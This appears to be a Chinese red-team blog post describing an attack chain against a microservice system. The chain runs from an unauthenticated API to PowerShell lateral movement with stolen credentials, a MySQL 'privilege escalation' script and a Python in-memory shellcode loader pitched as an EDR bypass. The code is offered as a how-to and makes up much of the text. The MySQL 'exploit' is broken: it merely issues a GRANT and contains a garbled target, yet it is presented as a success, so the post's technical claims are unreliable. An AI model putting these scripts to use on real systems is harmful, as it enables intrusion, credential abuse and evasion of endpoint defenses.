0x01 初窥系统架构

在一次大型互联网公司担任红队成员的经历中,我的目标是入侵他们的关键业务系统。该系统由多个微服务组成,采用了Kubernetes进行编排与管理,数据库使用的是MySQL,前端则是一个流行框架构建的SPA应用。

黑客示意图

这种系统架构给了攻击者无限的想象空间,因为微服务之间的通信、API接口的暴露、Kubernetes的配置都可能成为突破口。我在这次渗透测试中,通过一个未授权的API接口,成功获取了一个低权限的服务账号密码,从而开启了这次深入的攻防旅程。

收割API - 攻击链的起点

API接口往往是攻击链的起点,尤其是在微服务架构中,服务间的复杂调用可能会导致访问控制的疏忽。我发现了一个未授权的API接口,能够以GET请求的方式来访问用户数据。虽然数据不全,但这已足够让我进一步尝试。

Python代码分析API

<pre><code class="language-python">import requests

这个接口不需要身份验证,很好,我们来试试看

url = &quot;http://targetsystem/api/v1/getUserData&quot;

发起请求,注意异常处理哦

try: response = requests.get(url) if response.status_code == 200:

哇哦,居然成功返回了一些用户数据

print(&quot;User Data:&quot;, response.json()) else: print(&quot;Failed to get user data, status code:&quot;, response.status_code) except Exception as e: print(&quot;An error occurred:&quot;, e)</code></pre>

在这段代码中,我用了一段简单的Python脚本来验证API接口是否存在漏洞。常规的GET请求居然返回了用户数据,显然,这里存在一个严重的未授权访问漏洞。

黑客示意图

横向移动 - 趁虚而入

通过API接口获得的用户数据中,我找到了一个服务账号的凭证。利用这个凭证,我开始在内部网络中横向移动。目标是尽可能获取更高权限的用户访问权。

PowerShell实现横向移动

<pre><code class="language-powershell"># 使用获得的凭证来登录其他系统 $username = &quot;service_account&quot; $password = &quot;ServiceAccountPassword!&quot; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential($username, $securePassword)

试着访问其他机器

Invoke-Command -ComputerName targetPC -Credential $credential -ScriptBlock {

在目标机器上执行命令

whoami

打印当前用户身份

}</code></pre>

通过这段PowerShell脚本,我在内网中成功横向移动,访问到了其他机器。这个凭证让我在多台服务器上执行命令,进一步收集有用的信息。

权限提升 - 极致突破

在内网中横向移动时,我发现一台机器上存在一个未修补的MySQL数据库漏洞。利用此漏洞,我尝试提权,最终成功获取了数据库的root权限。

漏洞利用脚本

<pre><code class="language-python">import mysql.connector

连接数据库,老版本的MySQL有个提权漏洞,我们来试试看

def exploit_mysql(target, user, passwd): try:

连接到MySQL

conn = mysql.connector.connect(host=target, user=user, password=passwd) cursor = conn.cursor()

利用漏洞进行提权操作

cursor.execute(&quot;GRANT ALL PRIVILEGES ON . TO &#039;root&#039;@&#039;%&#039; IDENTIFIED BY &#039;root_password&#039;;&quot;) conn.commit()

检查提权是否成功

cursor.execute(&quot;SHOW GRANTS FOR &#039;root&#039;@&#039;%&#039;;&quot;) for grant in cursor: print(grant)

except mysql.connector.Error as err: print(&quot;Error:&quot;, err) finally: cursor.close() conn.close()

目标数据库信息

target = &quot;target_db&quot; user = &quot;low_priv_user&quot; passwd = &quot;low_priv_password&quot;

执行提权

exploit_mysql(target, user, passwd)</code></pre>

通过这个漏洞利用脚本,我成功地将一个低权限用户提升到了数据库的最高权限,获取了所有敏感数据。这是一次极其成功的权限提升攻击。

EDR绕过 - 隐匿踪迹

每次入侵成功后,如何绕过EDR(端点检测与响应)系统是保持隐匿的关键。在这次演练中,我通过自定义的Shellcode和内存加载技术,成功绕过了目标的EDR监控。

Shellcode免杀技术

<pre><code class="language-python">from ctypes import *

通过Shellcode加载执行,避免写入磁盘

shellcode = bytearray( b&quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50&quot;

省略的Shellcode内容

)

def run_shellcode(sc):

分配内存,划分可执行权限

ptr = windll.kernel32.VirtualAlloc(None, len(sc), 0x3000, 0x40) buf = (c_char * len(sc)).from_buffer(sc)

复制Shellcode到内存

windll.kernel32.RtlMoveMemory(ptr, buf, len(sc))

创建一个新的线程,执行Shellcode

ht = windll.kernel32.CreateThread(None, 0, ptr, None, 0, None) windll.kernel32.WaitForSingleObject(ht, -1)

run_shellcode(shellcode)</code></pre>

这个脚本展示了如何通过Shellcode来执行恶意代码,而不用将其写入磁盘,从而规避EDR的检测。通过这种方式,我能够更持久地隐藏在目标系统中。

实战总结与经验

黑客示意图

在这次红队演练中,我通过对目标API的利用,结合横向移动、权限提升与EDR绕过,成功获取了关键系统的控制权。这里的重要经验是:信息收集是关键,攻击链上的每一步都需要深思熟虑地扩展攻击面。

在真实环境中,没有一种攻击手法是万能的,每个步骤都需要根据实际情况灵活调整。在未来的工作中,我将继续提升这些技能,并不断探索新的攻击途径与技术。

合法声明:本文仅限授权安全测试,供安全研究人员学习。切勿用于非法用途,违者后果自负。